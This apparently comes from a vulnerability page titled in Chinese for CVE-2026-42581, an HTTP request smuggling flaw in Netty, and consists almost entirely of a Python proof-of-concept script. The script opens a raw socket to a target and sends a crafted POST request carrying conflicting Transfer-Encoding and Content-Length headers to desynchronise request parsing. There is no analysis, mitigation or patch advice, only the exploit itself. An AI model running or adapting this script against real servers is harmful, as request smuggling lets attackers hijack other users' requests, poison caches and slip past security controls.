CVE-2026-42581 Netty HTTP请求走私漏洞

import socket # Target host and port host = 'target.example.com' port = 80 # Malicious HTTP/1.0 request with both Transfer-Encoding and Content-Length # Netty will decode as chunked but forward Content-Length payload = ( "POST / HTTP/1.0\r\n" "Host: {}\r\n" "Content-Type: application/x-www-form-urlencoded\r\n" "Transfer-Encoding: chunked\r\n" "Content-Length: 10\r\n" "Connection: keep-alive\r\n" "\r\n" "5\r\n" "Hello\r\n" "0\r\n" "\r\n" ).format(host) def send_request(): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((host, port)) s.send(payload.encode()) response = s.recv(4096) print(response.decode()) s.close() if __name__ == "__main__": send_request()